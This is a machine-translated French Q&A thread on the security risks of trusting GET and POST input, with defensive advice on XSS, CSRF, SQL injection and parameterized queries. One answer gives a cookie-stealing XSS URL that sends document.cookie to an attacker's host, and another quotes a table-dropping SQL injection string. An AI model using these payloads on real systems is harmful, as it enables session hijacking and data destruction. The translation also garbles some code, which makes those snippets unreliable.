Je veux savoir ma question est
Que devons-nous prendre soin de en jouant avec get and post.
8 Réponses :
Principalement CSRF, XSS et Directory Traversal:
http://fr.wikipedia.org/wiki/cross-site_request_forgery
En général, et non limité à obtenir et à poster, mais aussi à toutes les données provenant de l'extérieur du système (y compris les cookies dans le cas d'applications Web):
Presque toutes les vulnérabilités se présentent à "L'utilisateur peut exécuter le code qu'ils aiment dans le contexte que vous transmettez leur contribution à".
Vous devez penser à ce que vous faites avec les données. Vous recherchez une liste de choses possibles pouvant aller mal lors de l'acceptation d'une entrée contaminée dans tout système du monde ne produira pas une liste exhaustive.
Et comme de côté: oubliez addslashes (ce n'est pas efficace), oubliez mysql_real_escape (il est trop facile de faire une erreur avec elle). Utilisez des requêtes paramétrées: Comment puis-je empêcher l'injection SQL dans PHP?
+1. Pas seulement obtenir, poster et cookies. Même un référateur peut vous mettre en difficulté: Hanselman.com/blog/...
Si vous prenez une get ou post-variable et que vous «exécutez-vous efficacement», sans le transmettre à travers un filtre de certaines sortes, vous vous ouvrez aux attaques d'injection. L'injection SQL est évidemment une affaire très courante, mais si vous faites n'importe quel type de eval () avec ces données (dans une langue de programmation ou une autre base de données ou une autre situation interprétée - y compris la réussite de HTML. Le navigateur doit être interprété sur le client) puis les attaquants connaissables peuvent créer des données d'entrée qui permettront à votre demande de faire des choses inattendues.
Il s'étend à un peu plus que simplement "obtenir" ou "post". Tout cela dépend de la programmation que vous avez faite pour les soutenir. Si vous ne faites que servir une page HTML statique, pas beaucoup de vulnérabilités. Si, d'autre part, vous définissez et modifiez des données via les demandes d'obtention, les vulnérabilités peuvent être infinies, il suffit de rechercher les cas de Google Bot essuyant les données des endroits utilisés «Obtenir» pour soumettre des choses.
Tout dépend de ce que vous utilisez les données, et les vulnérabilitées sont limitées pour obtenir ou définir. Désinfecter vos intrants.
Une attaque maximale de XSS possible avec un minuscule un peu d'ingénierie sociale
Permet de supposer que vous disposez d'une application PHP simple, qui utilise des sessions pour suivre les utilisateurs. Et il a une sorte d'interface administrative, où les utilisateurs ayant des privilèges plus élevés peuvent permettre de dire édition de contenu.
et supposons que vous soyez connecté en tant qu'administrateur sur ce site et qu'il y a à l'intérieur de cette application A Demande de fichier.php, avec la pièce de code suivante et maintenant, quelqu'un découvre cela, construit l'URL suivante http: //yourapp/request.php? action = document.location.href = '<< a href =" http: // étranger? c = "rel =" NOREFERRER "> http: // étrangère? C = '+ document.cookie Alors que quelqu'un ajoute cette URL à Tinyurl.com, qui raccrochre quelque chose comme Vous cliquez sur le lien, TINYURL.com traduit l'URL courte sur le long, redirige votre navigateur, votre request.php sortit heureusement le JavaScript de La requête, votre navigateur le voit, l'exécute et, par conséquent, la personne qui exécute http: // étranger obtient tous vos cookies. Puis il a juste besoin d'insérer ces valeurs de cookie à son navigateur et à Voila, il a un accès instantané à l'interface administrative de votre site. Parce qu'il a eu votre cookie de session. Ceci décrit l'attaque XSS la plus simple possible, c'est vraiment simpliste, ne fonctionnera probablement pas dans la vie réelle, mais j'espère que vous avez obtenu l'idée de base comment cela fonctionne.
Hmm, eh bien, alors sortez les étiquettes de script sous forme de mesure de protection XSS :) Quoi qu'il en soit, la valeur du paramètre d'action doit être entourée de balises de script, alors cela a plus de sens.
Obtenir et poster des données est des données directement envoyées de l'utilisateur. Vous l'obtenez RAW, sans chèques ou validation entre l'utilisateur et votre programme. Même si vous deviez valider le formulaire qui devrait provenir des données, un attaquant pourrait fabriquer manuellement une demande avec toutes les données qu'il souhaite. Vous devez donc toujours traiter les données de demande comme entrée d'utilisateur non approuvée.
Il y a un certain nombre d'attaques qui s'appuient sur le codeur oubliant que les données de demande sont indigne de confiance, mais la plus connue est l'injection SQL. La cause première de l'injection SQL construit une requête par des chaînes de concaténation manuelle, dont certaines sont une entrée de l'utilisateur non carrément. Cela signifie que vous indiquez à votre base de données d'exécuter une entrée d'utilisateur non approuvée.
La solution naïve à l'injection SQL est de valider les entrées, puis de les concaténer dans une chaîne de requête, mais c'est une forme médiocre aussi. Vous comptez sur votre logique de validation pour que la chaîne soit sûre, et si vous y abusez mal - ou la logique est buggy - alors vous êtes à nouveau exposé à des attaques.
La solution correcte consiste à séparer votre requête à partir des données qu'il contient. Pratiquement tous les adaptateurs de base de données prennent en charge cette approche et si vous ne le faites pas pour une raison quelconque, ce n'est pas apte à être utilisé. L'idiome le plus courant est (en aucune langue particulière):
mydb.Query ("Select * des trucs où id =?", [42]);
Ceci garantira (dans un tel système) que les paramètres ne sont pas exécutés. La chaîne de requête est construite à partir de données entièrement approuvées, tandis que les données non soirées sont séparées. Au pire, cette approche appliquée à une entrée incorrecte peut entraîner des données incorrectes, pas une commande incorrecte.
Cette approche pour éviter une injection SQL met en évidence le principe central qui s'applique à toutes sortes de demandes de demande d'attaque de données: les données de la demande ne sont pas les vôtres et ce n'est pas en sécurité. Lors de la gestion de toute entrée utilisateur, y compris des données de demande, supposez toujours qu'elle provient d'un attaquant avec une connaissance intime de votre système. Cela peut sembler paranoïaque, mais cela vous permet de garder en sécurité.
Comme les personnes ont déjà écrit, Les développeurs pensent à sécuriser le code à l'époque où ils l'écrivent, et lorsqu'ils font des modifications, alors que les pirates pirateuses pensent de gâcher ce code chaque fois qu'ils décident d'avoir une fissure qui peut être aujourd'hui, demain ou en deux années. Ce qui aurait pu sembler parfaitement sûr au moment où le code a été écrit peut s'avérer exploitable à un moment donné.
Fondamentalement, toutes les entrées doivent être filtrées, examinées et désinfectées religieusement, peu importe ce qu'elle est utilisée à tout moment. Quelqu'un pourrait sauter pour assainir un morceau de saisie de l'utilisateur car "il ne sera pas utilisé pour tout ce qui peut causer des dommages", puis 11 mois sur la ligne, une personne de l'équipe décide d'utiliser les données désinfectées présentées, qui a été attribué à une variable, dans une requête SQL ou un appel System Exec et tout le système souffle.
Que devrait être fait:
Whitelist au lieu de la liste noire
- Savoir quels types d'entrée vous attendez et convertissez des données utilisateur en conséquence, les ID sont généralement des entiers, il est donc prudent de mettre en sécurité tous les identifiants soumis à l'utilisateur en tant qu'épéteurs.
- Sachez que lorsque vous attendez de petites quantités de données et quand vous vous attendez à beaucoup. Les noms personnels sont généralement relativement courts et ne contiennent pas de chiffres, "1"; des clients de la table dépose; " n'est pas un vrai nom et vous pouvez savoir que sans ajouter de barres obliques.
puis sur la liste noire, certains juste au cas où
- Appliquez la logique standard d'échappement à toutes les données effectuées via votre blancheur, juste au cas où
puis filtrez et vérifiez un peu plus
- jusqu'à ce que vous soyez sûr
Tous les superglobaux peuvent être manipulés par des agents utilisateur. $ _Server, $ _post, $ _get, etc.
La règle générale est «Ne faites pas confiance à l'utilisateur de l'utilisateur». Tout ce qui est entré de l'utilisateur sous quelque forme que ce soit doit être vérifié en sécurité.